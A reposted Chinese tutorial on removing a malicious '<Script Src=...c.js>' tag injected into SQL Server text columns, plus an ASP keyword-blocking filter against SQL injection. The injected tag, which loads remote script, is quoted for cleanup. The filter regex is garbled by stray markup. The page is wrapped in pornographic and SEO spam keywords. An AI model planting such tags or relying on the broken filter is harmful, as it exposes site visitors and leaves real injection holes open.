国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 數據庫 > SQL Server > 正文

批量替換sqlserver數據庫掛馬字段并防范sql注入攻擊的代碼

2024-08-31 00:58:57
字體:
來源:轉載
供稿:網友

首先備份數據庫,以防不必要的損失。而后對所有被掛馬的小于8000字符的varchar字段執行

復制代碼 代碼如下:


update 表名 set 字段名=replace(字段名,'<Script Src=http://c.n%75clear3.com/css/c.js></Script>','')


其中<Script Src=http://c.n%75clear3.com/css/c.js></Script>為掛馬字段。執行后掛馬字段被清除。但是有部分字段,比如內容字段等大于8000字符的varchar字段則需要執行

復制代碼 代碼如下:


update 表名 set 表項=replace(cast(表項 as varchar(8000)),'<Script Src=http:/c.nuclear3.com/css/c.js> </Script> ','')


來更新被掛馬字段,而房產網由于內容比較多,執行以上語句的時候會發生假死現象,于是加個區間分兩次進行,一次處理15000條得以解決。

復制代碼 代碼如下:


update 表名 set 表項=replace(cast(表項 as varchar(8000)),'<Script Src=http:/c.nuclear3.com/css/c.js> </Script> ','') where id>1 and id<15000


以上被掛馬問題一般都是sql數據庫,這是sql數據庫特有的注入漏洞。換數據庫不現實,只能針對以上情況進行防范。思路就是在所有數據庫鏈接請求那里做相應的過濾。

復制代碼 代碼如下:


<%
Response.Buffer = True '緩存頁面
'防范get注入
If Request.QueryString <> "" Then StopInjection(Request.QueryString)
'防范post注入
If Request.Form <> "" Then StopInjection(Request.Form)
'防范cookies注入
If Request.Cookies <> "" Then StopInjection(Request.Cookies)
'正則子函數
Function StopInjection(Values)
Dim regEx
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = True
regEx.Pattern = "'|;|#|([/s/b+()]+([email=select%7Cupdate%7Cinsert%7Cdelete%7Cdeclare%7C@%7Cexec%7Cdbcc%7Calter%7Cdrop%7Ccreate%7Cbackup%7Cif%7Celse%7Cend%7Cand%7Cor%7Cadd%7Cset%7Copen%7Cclose%7Cuse%7Cbegin%7Cretun%7Cas%7Cgo%7Cexists)[/s/b]select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[/s/b[/email]+]*)"
Dim sItem, sValue
For Each sItem In Values
sValue = Values(sItem)
If regEx.Test(sValue) Then
Response.Write "<Script Language=javascript>alert('非法注入!你的行為已被記錄!!');history.back(-1);</Script>"
Response.End
End If
Next
Set regEx = Nothing
End function
%>


做一個通用的sql防注入頁面,把它包含在conn.asp數據庫連接語句里邊,這樣就實現了全站的防范 sql 注入的攻擊了。但是前臺的類似?id=這樣的語句還是存在注入漏洞,需要我們嚴格過濾 request.form 和 request.querystring 獲取的內容。堅決不用 request("name") 這樣的方式獲取值,凡是采用 cookies 保存的內容,盡量不要用在sql語句里進行查詢數據庫操作。

如果不熟悉sqlserver的朋友可以用軟件來實現
sqlserver 數據庫批量替換工具(數據庫及文本文件查找替換) v1.0中文綠色版

SQLServer 數據庫批量查找替換工具1.2 SQL木馬清除助手

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 武冈市| 叙永县| 漳浦县| 和平区| 和政县| 龙江县| 湖北省| 吉隆县| 临西县| 漳平市| 南靖县| 红安县| 鹤峰县| 鄂州市| 新沂市| 镇赉县| 房产| 梧州市| 上饶市| 抚宁县| 广东省| 永福县| 扶余县| 海口市| 民勤县| 汤原县| 富顺县| 邻水| 卫辉市| 察哈| 鄯善县| 略阳县| 建阳市| 滕州市| 体育| 桦南县| 闵行区| 化州市| 应城市| 灌南县| 元江|